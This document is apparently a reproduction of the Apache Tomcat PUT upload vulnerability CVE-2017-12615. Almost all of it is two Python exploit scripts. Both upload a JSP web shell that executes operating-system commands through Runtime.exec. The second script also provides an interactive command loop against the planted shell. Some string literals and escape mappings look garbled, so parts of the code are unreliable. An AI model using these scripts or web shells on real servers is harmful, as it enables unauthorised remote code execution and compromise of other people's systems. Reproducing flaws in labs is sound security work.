Tomcat的PUT上传漏洞（CVE-2017-12615）复现

# -*- coding: utf-8 -*-
"""
This is a Python script to exploit the Tomcat CVE-2017-12615 vulnerability by creating a web shell.
The script sends an HTTP OPTIONS request to check if the target server is vulnerable and attempts to upload a malicious JSP file to the target server using an HTTP PUT request.
"""
          
import requests
import sys
import random
          
payload = """
<%
    if ("023".equals(request.getParameter("pwd"))) {
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("
");

        while ((a = in.read(b)) != -1) {
            out.println(new String(b, 0, a));
        }
        out.print("
");


    }
%>"""
          
if len(sys.argv) < 2:
    print("Usage: python tomcat-cve-2017-12615.py http://127.0.0.1:8080/")
    sys.exit()
          
url = sys.argv[1]
try:
    r = requests.options(url=url + '/123')
    headers = r.headers
except requests.exceptions.RequestException as e:
    print(f"An error occurred: {e}")
    sys.exit(1)
          
if 'PUT' in headers.get('Allow', ''):
    filename = f"/{random.randint(666, 666666)}.jsp/"
    try:    
        r = requests.put(url=url + filename, data=payload)
        if r.status_code == 201:
            print(f"Shell created successfully: {url}{filename[:-1]}")
        else:
            print("An error occurred during shell creation.")
    except requests.exceptions.RequestException as e:
        print(f"An error occurred: {e}")
else:
    print("The target is not vulnerable to CVE-2017-12615.")

import requests
import sys
import time
#http://192.168.19.134:8080/1337.jsp?cmd=ls
url_in = sys.argv[1]
payload_url = f"{url_in}/1337.jsp/"
payload_header = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
}
          
def payload_command(command_in):
    html_escape_table = {
        "&": "&",
        '"': """,
        "'": "'",
        ">": ">",
        "<": "<",
    }
    command_filtered = "" + "".join(html_escape_table.get(c, c) for c in command_in) + ""
    return command_filtered
          
          
def create_command_interface():
    payload_init = "<%java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();"     
                   "int a = -1;" 
                   "byte[] b = new byte[2048];" 
                   "while((a=in.read(b))!=-1){out.println(new String(b));}" 
                   "%>"
    response = requests.put(payload_url, headers=payload_header, data=payload_init)
    time.sleep(5)
    payload = {"cmd": "whoami"}
    verify_response = requests.get(payload_url[:-1], headers=payload_header, params=payload)
    if verify_response.status_code == 200:
        return 1
    else:
        return 0
          
          
def do_post(command_in):
    payload = {"cmd": command_in}
    response = requests.get(payload_url[:-1], params=payload)
    print(response.text.strip())  # 输出命令结果的字符部分
          
          
if create_command_interface() == 1:
    print("Command Page is Injected n n")
else:
    print("This host is not vulnerable")
    exit()
          
while True:
    command_in = input("Enter your command here: ")
    if command_in == "exit":
        exit(0)
    do_post(command_in)